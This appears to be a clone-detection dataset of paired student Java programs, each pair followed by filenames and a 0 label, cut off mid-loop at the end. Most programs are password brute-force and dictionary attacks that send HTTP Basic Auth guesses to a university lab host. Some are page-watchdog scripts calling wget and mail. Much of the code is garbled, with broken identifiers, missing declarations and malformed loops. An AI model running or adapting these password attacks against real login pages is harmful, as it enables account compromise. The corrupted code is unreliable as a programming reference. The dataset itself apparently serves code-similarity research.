import java.io.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class BruteForce { public static void main(String[] args) throws IOException { int start , end, total; start = System.currentTimeMillis(); String username = ""; String password = null; String host = "http://sec-crack.cs.rmit.edu./SEC/2/"; String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int lettersLen = letters.length(); int passwordLen=3; int passwords=0; int twoChar=0; url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); String authenticate = ""; String realm = null, domain = null, hostname = null; header = null; int responseCode; String responseMsg; int temp1=0; int temp2=0; int temp3=0; for (int a=1; a<=passwordLen; a++) { temp1 = (int) Math.pow(lettersLen, a); passwords += temp1; if (a==2) { twoChar = temp1; } } System.out.println("Brute Attack " + host + " has commenced."); System.out.println("Number of possible password combinations: " + passwords); int i=1; { try { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); if(realm != null) { if ( i < lettersLen) { password = letters.substring(i, (i+1)); } else if (i < (lettersLen + twoChar)) { temp1 = i / lettersLen; password = letters.substring((-1), start ); temp1 = i - ( temp1 * lettersLen); password = password + letters.substring(temp1, (+1)); } else { temp2 = i / lettersLen; temp1 = i - (temp2 * lettersLen); password = letters.substring(temp1, (+1)); temp3 = temp2; temp2 = temp2 / lettersLen; temp1 = temp3 - (temp2 * lettersLen); password = letters.substring(temp1, (+1)) + password; temp3 = temp2; temp2 = temp2 / lettersLen; temp1 = temp3 - (temp2 * lettersLen); password = letters.substring(temp1, (+1)) + password; } authenticate = username + ":" + password; authenticate = new String(base.encode(authenticate.getBytes())); httpConnect.addRequestProperty("Authorization", " " + authenticate); } httpConnect.connect(); realm = httpConnect.getHeaderField("WWW-Authenticate"); if (realm != null) { realm = realm.substring(realm.indexOf('"') + 1); realm = realm.substring(0, realm.indexOf('"')); } hostname = url.getHost(); responseCode = httpConnect.getResponseCode(); responseMsg = httpConnect.getResponseMessage(); if (responseCode == 200) { end = System.currentTimeMillis(); total = (end - start) / 1000; System.out.println ("Sucessfully Connected " + url); System.out.println("Login Attempts Required : " + (i-1)); System.out.println("Time Taken in Seconds : " + total); System.out.println ("Connection Status : " + responseCode + " " + responseMsg); System.out.println ("Username : " + username); System.out.println ("Password : " + password); System.exit( 0 ); } else if (responseCode == 401 && realm != null) { if (i > 1) { } } else { System.out.println ("What the?... The server replied with unexpected reponse." ); System.out.println (" Unexpected Error Occured While Attempting Connect " + url); System.out.println ("Connection Status: " + responseCode + responseMsg); System.out.println ("Unfortunately the password could not recovered."); System.exit( 0 ); } i++; } catch(MalformedURLException e) { System.out.println("Opps, the URL " + host + " is not valid."); System.out.println("Please check the URL and try again."); } catch(IOException e) { System.out.println(", 't connect " + host + "."); System.out.println("Please check the URL and try again."); System.out.println("Other possible causes include website is currently unavailable"); System.out.println(" have internet connection problem."); } } while(realm != null); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
166.java
161.java
0
package java.httputils; import java.io.IOException; import java.net.MalformedURLException; import java.sql.Timestamp; public class RunnableBruteForce extends BruteForce implements Runnable { protected int rangeStart, rangeEnd; protected boolean stop = false; public RunnableBruteForce() { super(); } public void run() { process(); } public static void main(String[] args) { } public int getRangeEnd() { return rangeEnd; } public int getRangeStart() { return rangeStart; } public void setRangeEnd(int i) { rangeEnd = i; } public void setRangeStart(int i) { rangeStart = i; } public boolean isStop() { return stop; } public void setStop(boolean b) { stop = b; } public void process() { String password = ""; System.out.println(Thread.currentThread().getName() + "-> workload: " + this.letters[getRangeStart()] + " " + this.letters[getRangeEnd() - 1]); setStart(new Timestamp(System.currentTimeMillis())); for (int i = getRangeStart(); i < getRangeEnd(); i++) { System.out.println(Thread.currentThread().getName() + "-> Trying words beginning with: " + letters[i]); for (int i2 = 0; i2 < letters.length; i2++) { for (int i3 = 0; i3 < letters.length; i3++) { if (isStop()) { return; } try { char [] arr = new char [] {letters[i], letters[i2], letters[i3]}; String pwd = new String(arr); if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad")) { System.out.println(Thread.currentThread().getName() + "-> Trying password: " + pwd); } attempts++; BasicAuthHttpRequest req = new BasicAuthHttpRequest( getURL(), getUserName(), pwd); System.out.println("Got the password"); setPassword(pwd); setEnd(new Timestamp(System.currentTimeMillis())); setContent(req.getContent().toString()); this.setChanged(); this.notifyObservers(this.getContent()); return; } catch (MalformedURLException e) { e.printStackTrace(); return; } catch (IOException e) { } } } } setEnd(new Timestamp(System.currentTimeMillis())); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
058.java
161.java
0
import java.io.*; import java.util.*; import java.net.*; public class BruteForce { public BruteForce() { } public static void main(String[] args) { String[] validPW = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; String attackWP = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; String userID = ""; int trytimes = 0; int count=52; String userPassword=""; try { startmillisecond = System.currentTimeMillis(); for (int i = 0; i < count; i++) { for (int j = 0; j < count; j++) { for (int k = 0; k < count; k++) { trytimes ++; userPassword = userID + ":" + validPW[i] + validPW[j] + validPW[k]; int attackOK = new BruteForce().attackURL(userPassword, attackWP); if (attackOK == 1) { endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try " + trytimes + " times "); System.exit(1); } } } } for (int i = 0; i < count; i++) { for (int j = 0; j < count; j++) { trytimes ++; userPassword = userID + ":" + validPW[i] + validPW[j]; int attackOK = new BruteForce().attackURL(userPassword, attackWP); if (attackOK == 1) { endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try " + trytimes + " times "); System.exit(1); } } } for (int i = 0; i < count; i++) { userPassword = userID + ":" + validPW[i]; trytimes ++; int attackOK = new BruteForce().attackURL(userPassword, attackWP); if (attackOK == 1) { endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try " + trytimes + " times "); System.exit(1); } } } catch (Exception ioe) { System.out.println(ioe.getMessage()); } finally { } } public int attackURL(String userPassword, String attackWP) { int rtn = 1; try { URL url = new URL(attackWP); System.out.println("User & Password :" + userPassword); String encoding = Base64Converter.encode (userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { System.out.println(line); } } catch (MalformedURLException e) { rtn = 2; System.out.println("Invalid URL"); } catch (IOException e) { System.out.println("Error URL"); rtn = 2; } return rtn; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
251.java
161.java
0
import java.util.*; import java.io.*; public class WatchDog { public WatchDog() { } public static void main(String args[]) { DataInputStream newin; try{ System.out.println("Downloading first copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html"); String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"}; String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"}; while(true){ Thread.sleep(24*60*60*1000); System.out.println("Downloading new copy"); Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html"); Thread.sleep(2000); Runtime.getRuntime().exec(cmdDiff); Thread.sleep(2000); newin = new DataInputStream( new FileInputStream( "Diff.txt")); if (newin.readLine() != null){ System.out.println("Sending Mail"); Runtime.getRuntime().exec(cmdMail); Runtime.getRuntime().exec("cp newfile.html oldfile.html"); } } } catch(Exception e){ e.printStackTrace(); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
173.java
161.java
0
import java.util.*; import java.io.*; import java.net.*; public class Watchdog extends TimerTask { public void run() { Runtime t = Runtime.getRuntime(); Process pr= null; String Fmd5,Smd5,temp1; int index; try { pr = t.exec("md5sum csfirst.html"); InputStreamReader stre = new InputStreamReader(pr.getInputStream()); BufferedReader bread = new BufferedReader(stre); s = bread.readLine(); index = s.indexOf(' '); Fmd5 = s.substring(0,index); System.out.println(Fmd5); pr = null; pr = t.exec("wget http://www.cs.rmit.edu./students/"); pr = null; pr = t.exec("md5sum index.html"); InputStreamReader stre1 = new InputStreamReader(pr.getInputStream()); BufferedReader bread1 = new BufferedReader(stre1); temp1 = bread1.readLine(); index = temp1.indexOf(' '); Smd5 = temp1.substring(0,index); System.out.println(Smd5); pr = null; if(Fmd5 == Smd5) System.out.println(" changes Detected"); else { pr = t.exec("diff csfirst.html index.html > report.html"); pr = null; try{ Thread.sleep(10000); }catch(Exception e){} pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu."); } }catch(java.io.IOException e){} } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
045.java
161.java
0
import java.io.*; import java.net.*; import java.text.*; import java.util.*; class BruteForce { String password=""; int num =401; public static void main (String[] args) { String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; BruteForce URLcon; int length = 0; String passwd=""; int t0,t1; if (args.length == 0) { System.err.println ( "Usage : java BruteForce <username>"); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println (" " + new Date()); System.out.println ("Using BruteForce method attack "+username+"'s password.Please waiting......."); for (int i=0;i<str.length();i++){ passwd=str.substring(i,i+1); URLcon = new BruteForce (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds."); System.out.println ("Finish " + new Date()); return; } for (int j=0;j<str.length();j++){ passwd =str.substring(i,i+1)+str.substring(j,j+1); URLcon = new BruteForce (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds."); System.out.println ("Finish " + new Date()); return; } for (int m=0;m<str.length();m++){ passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1); URLcon = new BruteForce (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println("The password: "+ passwd); double dt =t1-t0; System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds."); System.out.println ("Finish " + new Date()); return; } } } } System.out.println(" not find the password"); } public BruteForce (String password, String username){ String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ; try { String userPassword = username+":"+password ; String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes()); URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); url = uc.getResponseCode(); } catch(MalformedURLException e){ System.out.println(e); }catch(IOException e){ System.out.println(e); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
143.java
161.java
0
import java.net.*; import java.io.*; import java.util.*; public class BruteForce{ private static URL location; private static String user; private BufferedReader input; private char [] password = {'A', 'A', 'A'}; private int noLetters = 3; public BruteForce() { Authenticator.setDefault(new MyAuthenticator ()); startTime = System.currentTimeMillis(); boolean passwordMatched = false; while (!passwordMatched) { try { input = new BufferedReader(new InputStreamReader(location.openStream())); String line = input.readLine(); while (line != null) { System.out.println(line); line = input.readLine(); } input.close(); passwordMatched = true; } catch (ProtocolException e) { } catch (ConnectException e) { System.out.println("Failed connect"); } catch (IOException e) { e.printStackTrace(); System.exit(-1); } } endTime = System.currentTimeMillis(); System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime))); } private char[] nextPassword() { char [] currentPassword = new char[noLetters]; for (int i=0; i<noLetters; i++) { currentPassword[i] = password[i]; } boolean loop = true; int i = noLetters - 1; while (loop ) { password[i]++; loop = false; if (password[i] > 'Z' && password[i] < 'a') { password[i] = 'a'; } else if (password[i] > 'z') { if (noLetters == 1 && i == 0) { System.out.println("Password not found"); System.exit(-1); } password[i] = 'A'; i--; loop = true; if (i<0) { noLetters--; for (int j=0; j <noLetters; j++) { password[j] = 'A'; loop = false; } } } } return currentPassword; } public static void main(String args[]) { if (args.length != 2) { System.out.println("Usage: java BruteForce url user"); System.exit(-1); } try { location = new URL(args[0]); } catch (MalformedURLException e) { e.printStackTrace(); } user = new String().concat(args[1]); new BruteForce(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { char [] currentPassword = nextPassword(); System.out.print(user.concat("-")); System.out.println(currentPassword); return new PasswordAuthentication (user, currentPassword); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
050.java
161.java
0
import java.net.*; import java.io.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class makePasswords { public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}; Vector in = new Vector(); public void makePass() { try { PrintWriter pw = new PrintWriter(new FileWriter("new.txt")); for(int i = 0; i < alphabet1.length; i++) { for(int j = 0; j < alphabet2.length; j++) { for(int k = 0; k < alphabet3.length; k++) { String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]); pw.println(newStr); } } } }catch(Exception ex){} } private StringTokenizer tokenizer; private BufferedReader bf; private String line; private String first; public void loadFile()throws NoSuchElementException, IOException { try{ bf = new BufferedReader(new FileReader("new.txt")); } catch(FileNotFoundException fe){} catch(IOException io){} while((line = bf.readLine())!=null) { int index = 0; tokenizer = new StringTokenizer(line); try { first = tokenizer.nextToken(); if (first.length() == 3) { in.add(first); } } catch(NoSuchElementException n) { System.out.println("File Loaded Succesfully"); } } } public Vector getVector() { return in; } public static void main(String args[]) { makePasswords mP = new makePasswords(); mP.makePass(); Vector v = mP.getVector(); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
035.java
161.java
0
import java.io.*; import java.util.*; import java.text.*; import java.net.*; public class BruteForce { private int consonantUpperBound = CrackingConstants.consonantUpperBound; private int consonantLowerBound = CrackingConstants.consonantLowerBound; private int vowelUpperBound = CrackingConstants.vowelUpperBound; private int vowelLowerBound = CrackingConstants.vowelLowerBound; private int verbose = CrackingConstants.quietMode; private int scanType = CrackingConstants.casedScan; private int passwordsTried = 0; public static void main(String args[]) { int tStart; int tFinish; DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); BruteForce pwForcer = new BruteForce(); if(args.length > 0) { for(int i = 0; i < args.length; i++) { if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1)) { System.out.println("\n-s -S\tonly tests lower passwords."); System.out.println("\n-v\tprints the patterns as tried."); System.out.println("-V\tprints out the patterns and the passwords as generated. \n\tThis option slows the program considerably.\n"); return; } else if(args[i].indexOf("-v") > -1) pwForcer.verbose = CrackingConstants.verboseMode1; else if(args[i].indexOf("-V") > -1) pwForcer.verbose = CrackingConstants.verboseMode2; else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1)) pwForcer.scanType = CrackingConstants.simpleScan; } } System.out.println("\n\n********************************\n"); System.out.println("Starting brute force run at " + longTimestamp.format(new Date())); if(args.length > 0) { String arguments = ""; for( i =0; i < args.length; i++) arguments += args[i] + " "; System.out.println("\nOptions: " + arguments + "\n"); } if(pwForcer.scanType == CrackingConstants.simpleScan) System.out.println("Only lower passwords tried."); else System.out.println("Both lower and upper passwords tried."); System.out.println("\n********************************\n"); tStart = System.currentTimeMillis(); pwForcer.run(); tFinish = System.currentTimeMillis(); if (pwForcer.scanType == CrackingConstants.casedScan) { System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26 * 8) + ")"); System.out.println ("That is " + pwForcer.passwordsTried/8 + " unique three letter combinations were tried (out of a possible " + (26 * 26 * 26) + ")"); } else { System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26) + ")\n"); } System.out.println("\n********************************\n"); System.out.println("Finished brute force run at " + longTimestamp.format(new Date())); System.out.println("Time taken: " + ((tFinish - tStart)/1000) + " seconds"); System.out.println("\n********************************"); } public BruteForce() { } private void run() { leftIndex = 0; midIndex = 0; rightIndex = 0; if(verbose > CrackingConstants.quietMode) System.out.println("Trying stutters (AAA, aaa, etc.)"); for( i = vowelLowerBound; i <= consonantUpperBound; i++) { leftIndex = i; midIndex = i; rightIndex = i; if(tryLogin(leftIndex, midIndex, rightIndex)) return; } if(verbose > CrackingConstants.quietMode) System.out.println("Trying consonant-vowel-consonant patterns."); for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++) for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++) for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++) if(tryLogin(leftIndex, midIndex, rightIndex)) return; if(verbose > CrackingConstants.quietMode) System.out.println("Trying consonant-vowel-vowel patterns."); for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++) for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++) for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++) if(tryLogin(leftIndex, midIndex, rightIndex)) return; if(verbose > CrackingConstants.quietMode) System.out.println("Trying vowel-consonant-vowel patterns."); for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++) for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++) for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++) if(tryLogin(leftIndex, midIndex, rightIndex)) return; if(verbose > CrackingConstants.quietMode) System.out.println("Trying vowel-consonant-consonant patterns."); for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++) for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++) for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++) if(tryLogin(leftIndex, midIndex, rightIndex)) return; if(verbose > CrackingConstants.quietMode) System.out.println("Trying vowel-vowel-consonant patterns."); for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++) for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++) for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++) if(tryLogin(leftIndex, midIndex, rightIndex)) return; if(verbose > CrackingConstants.quietMode) System.out.println("Trying consonant-consonant-vowel patterns."); for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++) for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++) for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++) if(tryLogin(leftIndex, midIndex, rightIndex)) return; if(verbose > CrackingConstants.quietMode) System.out.println("Trying remaining vowel-vowel-vowel patterns."); for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++) for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++) for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++) if((leftIndex == midIndex) && (leftIndex == rightIndex)) { } else { if(tryLogin(leftIndex, midIndex, rightIndex)) return; } if(verbose > CrackingConstants.quietMode) System.out.println("Trying remaining consonant-consonant-consonant patterns."); for(leftIndex = consonantLowerBound; leftIndex <= 